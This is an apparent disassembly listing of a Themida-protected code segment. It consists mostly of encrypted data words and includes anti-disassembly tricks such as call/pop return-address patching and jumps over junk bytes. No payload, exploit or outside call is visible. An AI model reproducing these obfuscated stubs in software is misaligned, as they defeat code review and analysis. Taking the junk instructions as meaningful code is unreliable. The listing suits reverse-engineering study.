		dd 3DE9D403h, 0FF054DE5h, 51F29B39h, 0BB93E50Dh, 0A7D6E3EEh
		dd 999Bh, 50BD300h, 51F29B1Fh, 15BE0B33h, 75A4FCA8h, 0F9A5138Eh
		dd 10F0ABB1h, 769E57E5h, 0A219BDCAh, 58637350h,	0F28566ACh
		dd 0FDE15805h, 0F2DFAC5Dh, 498D98C7h, 5C622A72h, 5805F276h
		dd 2333628Ah, 0DF87744Bh, 20A08068h, 8BBA05D3h,	236B1381h
		dd 35A91Dh, 0DCFCD95Eh,	47DF37E3h, 1BA032FFh, 7EE8176Fh
		dd 67AB9F76h, 0F08BB07Ah, 0E620B6C1h, 0CC24D0EDh, 0CF67527Fh
		dd 0AB78CE23h, 1062912Ch, 0EC4DBB72h, 0D028D4E5h, 76EAF038h
		dd 0A6641A51h, 8986F8BFh, 0C45CBA7Ch, 0A513B972h, 0EFE4B1F9h
		dd 9BCA22CEh, 0F61B8F95h, 234B57EBh, 4F6C6A77h,	5B620FDh
		dd 62961359h, 74D81332h, 3B81ED6h, 0B902D4B1h, 0BDA3A971h
		dd 4AB37541h, 2B832F8Ch, 724B8865h, 3441ABDAh, 5F6C18A1h
		dd 8B984477h, 0ADC36F4Ah, 53E8C989h, 14A530FDh,	45785B68h
		dd 5CA94199h, 0C012417Ah, 9A6C6A82h, 97E9813Eh,	579F1CBAh
		dd 41A3898Fh, 8FB7B375h, 8E8F660h, 3F000000h, 45915EE4h
		dd 12604776h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
		dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h,	33B86459h
		dd 51E38953h, 0EC1EE5B9h, 58F18131h, 0C13DA751h, 0C18108E9h
		dd 0FFF3B4B5h, 8359CB01h, 1C8704EBh, 89535C24h,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h, 5157240Ch, 8A6E84B9h
		dd 7E9C141h, 4074C181h,	0E9812ED5h, 293E67A5h, 8959CF89h
		dd 8B545FF8h, 0C483240Ch, 3A5F6804h, 4890000h, 8418F24h
		dd 592434FFh, 4C481h, 48B0000h,	0E0895024h, 405h, 4C08300h
		dd 5C240487h, 0FA8B5EE9h, 744FB0FFh, 0B8A8019Eh, 619F225h
		dd 0E0FFC503h, 3707AB25h, 61BAA52Dh, 574FC666h,	6B30FD56h
		dd 27A65C27h, 3293B5FBh, 0BB40A40h, 0F3FA65Fh, 16C8788Eh
		dd 30161330h, 59823BF2h, 1ACD1AD5h, 0F3E78D8Dh,	6A0619h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 693555C3h, 8D8993FDh, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 2CC35040h, 303502C5h, 9E5B5FB3h
		dd 4DE68166h, 0D995BF7Ch, 85C77083h, 614064Dh, 7040h, 8F0Fh
		dd 85C70000h, 6142671h,	0
; ---------------------------------------------------------------------------
		jmp	loc_5A7F67
; ---------------------------------------------------------------------------
		db 0A6h, 91h, 8
		dd 815F79BEh, 27F27AA9h
; ---------------------------------------------------------------------------
		xchg	eax, edi
		leave
		xchg	eax, esp


loc_5A7F67:				; CODE XREF: Themida_:005A7F54j
		push	dword ptr [ebp+6140591h]
		push	0
		push	eax
		call	sub_5A7F78
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7F78	proc near		; CODE XREF: Themida_:005A7F70p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A7F78	endp

; ---------------------------------------------------------------------------
		inc	eax
		fisttp	dword ptr [esi-0D17B08Ch]
		mov	ebp, 95FF2A75h
		popa
		and	edx, [esi+eax]
		push	0
		push	ebx
		call	sub_5A7FA3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7FA3	proc near		; CODE XREF: Themida_:005A7F9Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5A7FA3	endp

; ---------------------------------------------------------------------------
		test	eax, 0F5924D0Ah
		cli
		mov	edx, [ebp+61405B1h]
		push	0
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_5A804A
; ---------------------------------------------------------------------------
		db 7Ch
; ---------------------------------------------------------------------------
		imul	ebx, [edi-7DD7C688h], -38h
		mov	ds:0CAB442Dh, eax
		retn
; ---------------------------------------------------------------------------
		db 0DDh, 48h, 35h
		dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 39895A02h,	0A99BD9EFh
		dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h,	8D39F0Ch
		dd 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h, 0B90DCACBh
		dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 5A46ADB3h,	5A23F555h
		dd 0A6F02F80h, 0D92CE4DAh, 27F937EAh, 5378E964h, 8C51DD62h
		dd 0F6A5653h, 0DA97A76h
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, ebp


loc_5A804A:				; CODE XREF: Themida_:005A7FC9j
		lea	ecx, [ebp+619F520h]
		push	0
		push	edx
		call	sub_5A805B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A805B	proc near		; CODE XREF: Themida_:005A8053p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5A805B	endp

; ---------------------------------------------------------------------------
		or	[esi], bl
		aas
		sub	[ebx+142E319Dh], cl
		push	es
		sbb	dl, 45h
		mov	[ebp+6143229h],	ecx
		push	0
		push	ebx
		call	sub_5A8089
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8089	proc near		; CODE XREF: Themida_:005A8081p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5A8089	endp

; ---------------------------------------------------------------------------
		add	eax, 1CF9EA23h
		xchg	dh, dl
		pop	ebx
		mov	esi, 545F36A3h
		sub	[ebp+61410B5h],	ecx
		mov	dword ptr [ebp+614064Dh], 5CB8h
		mov	si, bx
		mov	dword ptr [ebp+6142671h], 0
		cmc
		push	dword ptr [ebp+61402E1h]
		mov	[ebp+61423D9h],	eax
		call	dword ptr [ebp+6142361h]
		push	0
		push	edx
		call	sub_5A80E1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A80E1	proc near		; CODE XREF: Themida_:005A80D9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5A80E1	endp

; ---------------------------------------------------------------------------
		db 2Ch,	55h, 77h
; ---------------------------------------------------------------------------
		mov	bl, 0F4h
		sub	eax, 0FF006ABFh
		xchg	eax, ebp
		imul	edx, [ecx], 0C08B0614h
		jmp	short loc_5A8121
; ---------------------------------------------------------------------------
		dd 0D1910119h, 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h
		dd 98F1E345h, 0E4F6A16h
		db 72h
; ---------------------------------------------------------------------------


loc_5A8121:				; CODE XREF: Themida_:005A8102j
		jmp	loc_5A8148
; ---------------------------------------------------------------------------
		dw 0EA4Fh
		dd 674Ah, 243h,	6 dup(0)
; ---------------------------------------------------------------------------


loc_5A8148:				; CODE XREF: Themida_:loc_5A8121j
		jmp	loc_5A8D59
; ---------------------------------------------------------------------------
		push	619F710h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619F7F9h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619F984h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FA4Dh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FAF2h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FCFEh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FDAFh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FECCh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619FFC2h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		db 0A1h
		dd 2236076Bh, 0A5B98AE0h, 2A3E0F5Bh, 0ACC091D7h, 3247185Ah
		dd 0C66A08Dh, 94DC273Bh, 1A56AFC3h, 9ECA3549h, 8A266BCDh
		dd 3046EEF6h, 0D9CB1B79h, 45894226h, 9DDAEBAh, 0AA2DF0F1h
		dd 0F9F78B27h, 0E1722A2Ch, 2A331CA8h, 0C5563410h, 29E8800Ch
		dd 867A3041h, 1EE72BE4h, 369A9952h, 93D82A30h, 29E07410h
		dd 0CA5B3041h, 0F879FD91h, 6FA74855h, 3548h, 1194A00h
		dd 68A13D00h, 0ED341020h, 0D20703B5h, 0F2836E29h, 5215AD39h
		dd 83E93041h, 74DB7EE3h, 34886FA7h, 4B22F7CCh, 0B80C4265h
		dd 0F42D6E27h, 0E3C7h, 26D9C900h, 0C1458942h, 4BB4F8B1h
		dd 0C76B7E76h, 0F3844B0Ah, 2D09F63Ah, 2D3CFD91h, 5EEF802Ah
		dd 48E4318Dh, 87782A2Ch, 36CA1EE1h, 0CC377B34h,	59DA13A4h
		dd 2F41C216h, 0B8FC3576h, 64682147h, 3CC5194Ch,	40BC502Ch
		dd 0AE3F2A2Dh, 40BB4FEBh, 0AD3E2A2Dh, 0ECBD591Ch, 61341066h
		dd 0C4BCFFD0h, 0E505FC7Ch, 1A1E57D0h, 0A23E0102h, 3A28A540h
		dd 0D06400C3h, 4B2A2F3Ch, 0E36629BAh, 901B58EBh, 2F4C60F4h
		dd 124ADB2Ah, 316A34D2h, 885919EDh, 17E09274h, 0E0BA6296h
		dd 0AA76C43Fh, 0E9000009h, 6A7E4F23h, 0ED01D298h, 72865713h
		dd 0F408D98Fh, 7A8F6012h, 541EE845h, 0DC946F83h, 620EF70Bh
		dd 0E6827D91h, 0D26EB315h, 3046F13Eh, 0D91363C1h, 6074452Dh
		dd 0B206C99Fh, 84E41B54h, 40F98ACBh, 0F745C6FFh, 32CE0119h
		dd 2A2CF99Eh, 7FC9021h,	0DE6FB069h, 20467F1Bh, 7A0B3410h
		dd 139D35C1h, 0B713041h, 3663066Bh, 0BC566FA7h,	58000000h
		dd 894226D9h, 53AEC145h, 6DC18415h, 0DA1BD494h,	5FAC38A1h
		dd 0D92A2C06h, 0A9C13F26h, 5B1EAFF0h, 0F6272B63h, 0B44DE2DCh
		dd 29BAFBB4h, 0A45B6FF0h, 0EF070BC4h, 0BE8F2BEEh, 0C3341103h
		dd 0CA1E6132h, 0FAFE3739h, 9B1EE1E2h, 41F76BFFh, 6602FD30h
		dd 86F932C3h, 28B379EAh, 985BEC3Ah, 0DB771D15h,	5625E61Eh
		dd 452DD91Dh, 0CCA66074h, 0BA718003h, 80CE49E0h, 8C1h
		dd 67383AD2h, 0EABBAF53h, 6F402AD6h, 0F1C2A65Bh, 784929DDh
		dd 35D1BE63h, 0AB586C3Dh, 25E0F4C5h, 99667A4Bh,	579CFECFh
		dd 46F127BBh, 0F444A230h, 74452DD9h, 40C69F60h,	9AD6D78Bh
		dd 18A94C93h, 0D968B687h, 45894226h, 9DDAEBAh, 0AA2DF0F1h
		dd 2CF97A0Eh, 2B64F52Ah, 783D35B8h, 91C81BB2h, 14AD3972h
		dd 99341054h, 0F40B4F08h, 708FA374h, 16B235F8h,	30412582h
		dd 7371C5FDh, 672DB504h, 0E37713D6h, 6630413Ah,	0A7339CD5h
		dd 0B9F6662Eh, 85F176Bh, 5DA071F7h, 0BB74FC09h,	2FD417Ah
		dd 5C049834h, 0F687AB7Fh, 8720AC65h, 19AB7F5Bh,	88CC85EDh
		dd 0A75CF07Ah, 0E9CD10C9h, 2A8EDD8Dh, 84E41B4Ch, 0A3956DC1h
		dd 7F5B7307h, 0D465F6ABh, 0DFD71A9Bh, 0B34067EDh, 5315EA4Ah
		dd 0BA4589C2h, 0CC69F5AEh, 3AAB7F74h, 0D13F8D85h, 64361536h
		dd 33CCD9Bh, 9F60F76Fh,	1BE4F8C9h, 7890944Dh, 2718B477h
		dd 5AB2BD8Fh, 450E06C9h, 52B650ECh, 6034B5EEh, 0E8844748h
		dd 0ACC9829Bh, 0B844FD8Eh, 0A8DA731Fh, 5F1850B1h, 0CB84E41Bh
		dd 7328BC58h, 12A3A8DAh, 78E2849Ah, 0BBA6C026h,	0E8409118h
		dd 4A10Bh, 0FD910D00h, 602A2CF9h, 0BF78FA0Ch, 21B9457Eh
		dd 842A2C0Ah, 800FF58Ch, 1CE94834h, 0C95A9B54h,	74D40490h
		dd 0C65E2A2Ch, 982A2D6Ch, 20BC7F80h, 3410905Bh,	0B2B84ADEh
		dd 5E27B8F9h, 0E6AC4731h, 36A5F36Eh, 5D000007h,	0DEF2C3AFh
		dd 61754624h, 0E6FACB9Fh, 687C4D1Bh, 0EE03D49Eh, 0C8AA5CC9h
		dd 5020E3F7h, 0D69A6B7Fh, 5A0EF105h, 46E22789h,	3046F2B2h
		dd 0D97FCF2Dh, 85894226h, 0DA96C6Dh, 3416F23Ah,	2848BB0Fh
		dd 669A2E6Fh, 0D10A4B04h, 0F31CED7Eh, 4849611Dh, 99D13185h
		dd 9051ED60h, 0F53A2A14h, 633E8C64h, 0C6DBDB2Ch, 8C1A09CEh
		dd 7BB40184h, 9B5E5F77h, 38FA6DA3h, 81BA9C42h, 0C9378B0Eh
		dd 3FDC68A1h, 0CAE37CCCh, 0DE227639h, 65B21EE5h, 0EC7DF38Fh
		dd 50B9F233h, 7033344Ch, 56D99EDh, 0E7B540CCh, 0AB3CDD88h
		dd 0FD6B94E8h, 0E9F1E92Ch, 9A369C13h, 7689CD06h, 150E5A4Bh
		dd 0FB8CA29Eh, 0D4BA5F32h, 7BC9444Fh, 66Dh, 0BB8CE626h
		dd 3E0F5BA7h, 0C394D62Ah, 451652AFh, 0CC9DD531h, 0E12502B7h
		dd 57ACC091h, 0D1344819h, 45BACE9Fh, 0ABF05223h, 46F37B0Fh
		dd 50A0FE30h, 3D000119h, 101F08A1h, 43FC8D34h, 0AF6800FFh
		dd 1ED79B6Bh, 8B4426DAh, 9A294D63h, 4B5B343Ah, 0F1DC6D60h
		dd 0B6CED99Dh, 0BD56F2B5h, 403A2422h, 5C1553ACh, 5DB98A1Bh
		dd 2A2D16C5h, 2D167B0Fh, 34354D2Ah, 1002D571h, 13673417h
		dd 0EF427BEFh, 8219A55Eh, 0CE3046E1h, 3046E22Fh, 79B37BAh
		dd 82241311h, 8B74B8F1h, 3FB314DDh, 910C195Eh, 5C843h
		dd 3141CB00h, 0B4B64C60h, 3931CFE3h, 0BBAD5468h, 4230D6EAh
		dd 0CAA75C71h, 5165363Ch, 0D9EDBEB2h, 5F73442Ch, 95F7C8A0h
		dd 0F420B450h, 3D9B3046h, 119EDh, 0E7C2BA3Dh, 0BB147620h
		dd 5023AFE8h, 0D93417B5h, 0B44B8F48h, 0F10FE3B4h, 1EE135F8h
		dd 2FE87C18h, 0D2633046h, 5B9F0841h, 0DFF3C4A4h, 1C8F4820h
		dd 0CE200324h, 0C3FC8CA0h, 62B6807Fh, 5FF3CFA1h, 0E930469Dh
		dd 57985119h, 0C46023B4h, 30469E30h, 0D0891AABh, 5E096DD1h
		dd 2D42C4A1h, 9CDD96D2h, 8011520Bh, 0EE186CAFh,	518ACB84h
		dd 0ACC07417h, 1B4676Fh, 19690000h, 0E93D0001h,	5B9C551Dh
		dd 0D82CAF22h, 0E27E4127h, 2A2CF94Eh, 7B0740D1h, 3410238Ah
		dd 2CC05CDFh, 0AF30411Fh, 192E51Eh, 1F22BC48h, 4BB83041h
		dd 1EC357F3h, 0B5463041h, 0DC276B24h, 9FF7D4EDh, 0FE8FF815h
		dd 68000145h, 0EEC46EAFh, 2F93E288h, 15486037h,	702941C1h
		dd 27BF532Fh, 0B9493041h, 14B7F8B1h, 0DB2FF283h, 970A4327h
		dd 24510AFBh, 1DEE7F3Ah, 976FF609h, 4874ADBh, 2D04D468h
		dd 0F894572Ah, 2A2D0464h, 8CC556E7h, 4820DF23h,	8A8BA377h
		dd 35422BC7h, 36C73410h, 3459F17Dh, 16EB3041h, 28B9B14Fh
		dd 94D42B6Fh, 0D99DB3DBh, 9DD93F91h, 0A75331D4h, 44246Fh
		dd 19260000h, 0BA3D0001h, 4E22E337h, 0E4785495h, 672A2CF9h
		dd 0D8119DD6h, 9D34101Fh, 43C6490Ch, 411413A7h,	29059630h
		dd 30411395h, 0EB7D8418h, 2CB8215Ah, 30411394h,	0FD640268h
		dd 6FA7365Ah, 0A04Dh, 26D94F00h, 4FD0449Bh, 50E194C7h
		dd 0A3CA398Dh, 0C37C0D5Dh, 6DE04982h, 5A1E2B75h, 3A739849h
		dd 0A96210F6h, 15CE9A65h, 693A2ED1h, 2CCDC00Dh,	2543BC2Ah
		dd 67688054h, 39CD21A4h, 63F8039h, 1482837Ah, 94720634h
		dd 0B5BB4ADEh, 0F90D6124h, 7294A879h, 50443700h, 0EA65E6AEh
		dd 3BC9Ch, 3D35D700h, 0C0AA586Ch, 4525DBEFh, 0C7A16074h
		dd 4E24E2F6h, 0D6B3687Dh, 5D714230h, 0E5F9CAA6h, 6B7F5020h
		dd 0A103D494h, 0F62CC05Ch, 51AF3046h, 452DD901h, 26DD3174h
		dd 1750914Ah, 6B3C2CD3h, 4226D91Dh, 7CBA4589h, 2CF94CE0h
		dd 0AD3ECF2Ah, 0F9918EDCh, 432A2C79h, 2A2D79ABh, 0A164657Dh
		dd 79EE821Eh, 0E0712A2Dh, 19EB58A8h, 72AB5A91h,	3E9063FFh
		dd 5993417h, 24DD6EFAh,	44070820h, 8768C9C1h, 23A36CFh
		dd 8F23CCE9h, 36C2FB77h, 3A29FDE9h, 996DC144h, 0F569FDD9h
		dd 53E42A3Ah, 0CC33C71Ah, 0D420B9Ch, 3AE0B5D4h,	30B71BFh
		dd 84880000h, 0F9091DEEh, 748CA071h, 0F01125F6h, 7393A778h
		dd 0E4192EFFh, 22F37F87h
		dd 0AA7BF50Eh, 30016F96h, 0B485E31Ch, 0DD710D52h, 603046F6h
		dd 26D9B202h, 0BA458942h, 0F109DDAEh, 0A8912DF0h, 0CD34102Ah
		dd 5FF7833Ch, 33304129h, 25C8A9CDh, 186FA748h, 3Bh, 1191Ah
		dd 5317E93Dh, 0AD20599Ah, 101FD811h, 0FD099D34h, 0EA7BBC75h
		dd 140DA531h, 9CE13041h, 7CB5BB48h, 40E38EE8h, 336FA736h
		dd 0D0h, 8D21BD40h, 10304107h, 0D9C8467Fh, 45894226h, 0F8AB0AC1h
		dd 5900FEAh, 0F448BB74h, 62A35C0Eh, 4E1AE529h, 0BAAE5195h
		dd 0F4AEA6E9h, 7575C12Fh, 1647008h, 0F98AF090h,	8E069A36h
		dd 0F8892A2Dh, 99E633BFh, 8D722A2Ch, 9F60ADBh, 0B7489C5Fh
		dd 7EB7F8B1h, 0F8F91115h, 0BA409935h, 0B4453410h, 0F6F70FE3h
		dd 0A35CB033h, 0D26602C5h, 4D304199h, 0FEF783BCh, 833A2850h
		dd 2BDB2FF2h, 0CF308447h, 6CFD6B96h, 0B83972B3h, 471062A4h
		dd 0E0BA3F08h, 0EE80CE49h, 0A5000001h, 263A0B67h, 0A9BD8EDCh
		dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h,	98D82B3Fh
		dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046F7FAh,	0D9C71775h
		dd 6074452Dh, 0AAF8C99Fh, 3D000119h, 102068A1h,	0BAD5CD34h
		dd 0D0394922h, 46D72A63h, 0ED69018Dh, 0D73D3041h, 102FD29Fh
		dd 0EA226FA8h, 24000000h, 894226D9h, 0EEB1C145h, 0CC056B9Ah
		dd 68AD763h, 0F10E2A2Ch, 0E063A677h, 2CFDB044h,	619A2B2Ah
		dd 0CD86E21Dh, 0EDB0B1C9h, 48016999h, 0D85BCE07h, 0FE25B955h
		dd 17A82A2Ch, 2DF952DEh, 85C3410h, 7BBC75FBh, 164F1BE7h
		dd 1B6F32C3h, 8BCC85E5h, 0E5FDD152h, 0AB8521E4h, 0AE3A27E9h
		dd 65A1Dh, 902CAF72h, 2A2F79FCh, 34B5EE7Fh, 7C31F9F1h
		dd 0C9B1C64h, 5F0CB6D4h, 92CB6C51h, 49B7B84Eh, 0FA40E921h
		dd 6C45BA13h, 51C912DBh, 7BF6E0BAh, 0F82Dh, 1719B00h, 84E61C30h
		dd 9619FB3h, 8BDD2438h,	1260A6BAh, 9AF72C41h, 2135066Ch
		dd 0A9BD8EE2h, 2F43145Ch, 65C798D0h, 0F8F08420h, 0D6B3046h
		dd 0EBB2AABDh, 0DF730FACh, 5A2A2DDDh, 0FF3791C9h, 9670B4EDh
		dd 74C80BDCh, 60A4DD8Bh, 0B206C99Fh, 5FE0194Fh,	4226D911h
		dd 95D52B7Fh, 0F9629BDCh, 4D1E4AB5h, 9D606179h,	16F22A01h
		dd 689B2F34h, 4377D008h, 6C00E0Ah, 8778BC75h, 3FC10E1h
		dd 15CEA462h, 0FE8A43D4h, 8FF7E40Ah, 48016F94h,	0B26BFD04h
		dd 5DD5936Eh, 76942F47h, 66521FE1h, 1D503BCCh, 556AFE9Ah
		dd 54E59176h, 78EF871Bh, 0FC10E187h, 0AAA26503h, 0EC46A487h
		dd 7EE7200Eh, 619EC73Ah, 95BD7607h, 8F70E77Fh, 0BF408D9h
		dd 0C3A612B6h, 0A93AE500h, 8E857DF0h, 3BAD50Ch,	1269B7F0h
		dd 0A4000000h, 0EE8AB650h, 91762C5Ah, 0FAB344D5h, 0AB0280B9h
		dd 3F33D91Bh, 0ABBD4286h, 1957AEF2h, 89E71C60h,	0F87A8CD0h
		dd 670BFB3Fh, 0D1976AAEh, 3E2CD418h, 0A9C14185h, 8950EAF0h
		dd 4BF57E0h, 1000000h, 0E8835FF8h, 24048704h, 613685Ch
		dd 1C890000h, 4D6E6824h, 4890000h, 68575024h, 182B30F0h
		dd 0D5C7815Fh, 0F75DAA39h, 0F2F781D7h, 898C3360h, 0C3895FF8h
		dd 72FC6858h, 24890000h, 24048324h, 83685804h, 89000066h
		dd 3481241Ch, 5215E724h, 8408F02h, 0E7087081h, 8B025215h
		dd 89572404h, 4C781E7h,	83000000h, 3C8704C7h, 1C8B5C24h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FB4555E9h
		dd 388D00FFh, 9F9669DCh
; ---------------------------------------------------------------------------
		std


loc_5A8D59:				; CODE XREF: Themida_:loc_5A8148j
		mov	eax, 61A00DFh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 65BDh
		dd 1E4E1B20h, 0ACCF09B5h, 16502E9Ah, 31185D92h,	7CFD442Bh
		dd 9C8C1639h, 623F04FEh, 60F62271h, 0A3F85982h,	29084B3Ah
		dd 7E2F3F73h, 4E286439h, 99284E08h, 9A2B4FF6h, 0E8322BF7h
		dd 37B819FBh, 0CCAD15D6h, 0D2D0721h, 0FE5E493Dh, 32A10A6Dh
		dd 0D2AE26BEh, 0AD2E7880h, 2D2E7A96h, 0ADAE709Dh, 5EDD1020h
		dd 10E83422h, 0CE000000h, 107EA68Ch, 5538BCB6h,	3A604BCBh
		dd 0E87A489Ch, 12h, 0A48F515Eh,	35A14728h, 6D0E901Dh, 27042A5Ah
		dd 73B104C9h, 1DB15F59h, 6542C781h, 680000h, 0B4000000h
		dd 0F18A5E8Ch, 0F371C8Bh, 0C381C2B7h, 6F25DBC6h, 8840Fh
		dd 880F0000h, 2, 0C381D38Bh, 45BE814Ah,	5820Fh,	0BBB80000h
		dd 810BA9E2h, 4CBB6CEBh, 6E94Dh, 0A76E0000h, 3EA4D530h
		dd 25BA6653h, 37048FEFh, 0FDC18166h, 39EE8179h,	6076C431h
		dd 537380B9h, 14E97Fh, 3A090000h, 9B86277Bh, 0D945477Ch
		dd 43ACADB1h, 7DF0ACCCh, 816172C2h, 0C43135C6h,	0D9C48076h
		dd 9B80FE81h, 850FFFFFh, 0FFFFFF7Ch, 0C4E28166h, 0C4E97Eh
		dd 0F7020000h, 9CD731C9h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 2	dup(0)
		dd 0ECE90000h, 68000015h, 61A058Eh, 0FA7A92E9h,	69468FFh
		dd 88E9061Ah, 68FFFA7Ah, 61A077Fh, 0FA7A7EE9h, 8B668FFh
		dd 74E9061Ah, 68FFFA7Ah, 61A0947h, 0FA7A6AE9h, 0A1E68FFh
		dd 60E9061Ah, 68FFFA7Ah, 61A0AD1h, 0FA7A56E9h, 0B9E68FFh
		dd 4CE9061Ah, 68FFFA7Ah, 61A0C4Dh, 0FA7A42E9h, 0DC768FFh
		dd 38E9061Ah, 68FFFA7Ah, 61A0EE2h, 0FA7A2EE9h, 101668FFh
		dd 24E9061Ah, 68FFFA7Ah, 61A10DAh, 0FA7A1AE9h, 125068FFh
		dd 10E9061Ah, 68FFFA7Ah, 61A1379h, 0FA7A06E9h, 15C168FFh
		dd 0FCE9061Ah, 68FFFA79h, 61A16C6h, 0FA79F2E9h,	239C40FFh
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	0EBAC9298h
		dd 0C5C0580Bh, 0BD40175Eh, 2223467Eh, 9145507Fh, 65717E2Ah
		dd 0BA280456h, 0F1F7CE16h, 0D15FF002h, 0C8E32F88h, 1FB7B31Fh
		dd 51E4EAF0h, 0BF57E565h, 0C3A5EB97h, 48580644h, 7885318Ah
		dd 0C4AAB059h, 0D8580644h, 176C18B0h, 0DD4D575h, 83696F37h
		dd 97580645h, 7B4226Fh,	82D4035Bh, 909ACBC0h, 0F7C4F8D9h
		dd 0CAF27DFh, 41700860h, 37DBh,	4A17F200h, 0F9033287h
		dd 16A32E8Bh, 327A126Ah, 0E503692Ch, 0C70F3757h, 313F9FFh
		dd 4A275806h, 6B9A3287h, 2D9BB01h, 0C2E45806h, 0D65A0B80h
		dd 0CEA4F8D9h, 0BB000000h, 9442C412h, 8B237B27h, 0B805D2DFh
		dd 0E4D7FF0Ch, 0DD40C59Ch, 33E39521h, 24D0EDE6h, 2B339DCCh
		dd 0EA775D63h, 0AE8B51F1h, 8EE69227h, 8D2CA9F6h, 3883535Eh
		dd 0EEF4D0E6h, 795D51F1h, 0C313F042h, 0EFE3B0F8h, 27339DCCh
		dd 0C7CD15B9h, 57E5088Ch, 0E4C0123Ah, 0BBF0B76h, 8F5BF35Eh
		dd 7DA9AFF7h, 0D5DFAE6h, 7261A730h, 0AF479F4Bh,	0D502CF17h
		dd 1EB996E8h, 22CEEBEAh, 6AC98B0Bh, 0FC94B1F4h,	880E8664h
		dd 250F3894h, 132817h, 833CA000h, 3E7F5431h, 0F8C30FECh
		dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h
		dd 0F9D62897h, 808CDEDDh, 0ED0CF2F8h, 2520580Bh, 874A17BEh
		dd 0FF2E8632h, 88DAE3F4h, 3E902BABh, 0F9A51385h, 2E8ABB1h
		dd 0D9B657E5h, 0BF17C3FAh, 53357B27h, 0D8580603h, 411BDFEh
		dd 0CB3DE9D2h, 0FFC62B67h, 0BF8CBDDDh, 0DDDEF414h, 0F441D931h
		dd 42AEDDDEh, 0F8D9D723h, 0D1DBh, 4F17F200h, 0F1E86349h
		dd 204F7751h, 4EFAC115h, 959A6F46h, 1BDFBD4Bh, 12F6E1ECh
		dd 374EFABFh, 0E3CDF514h, 98E57DB6h, 7BD37F40h,	15F137E3h
		dd 8351F23Bh, 0F39F1CB6h, 75616C9Bh, 0FB521A87h, 0C0585B58h
		dd 7645916Eh, 0A050BECAh, 0A8175258h, 6C4357E5h, 7FA2E6C1h
		dd 0D85C8B4Fh, 0D59168B0h, 2B71E58h, 65A7FE56h,	3C4C7B2Bh
		dd 64EF260h, 0FB7FE500h, 0E32B535Dh, 0AAFCC116h, 0D5B30ACDh
		dd 38937DC9h, 22707E68h, 0A6000012h, 5A378936h,	15F24479h
		dd 0CFACFEBDh, 8461B306h, 0DF186A53h, 0BD00D7D9h, 76438E6Bh
		dd 2E914724h, 0E4D7FFDCh, 0F8FE8692h, 580BEE12h, 12C42B26h
		dd 0D9B0F8C5h, 0C36B038Eh, 223261DDh, 5C759145h, 0C159B15Dh
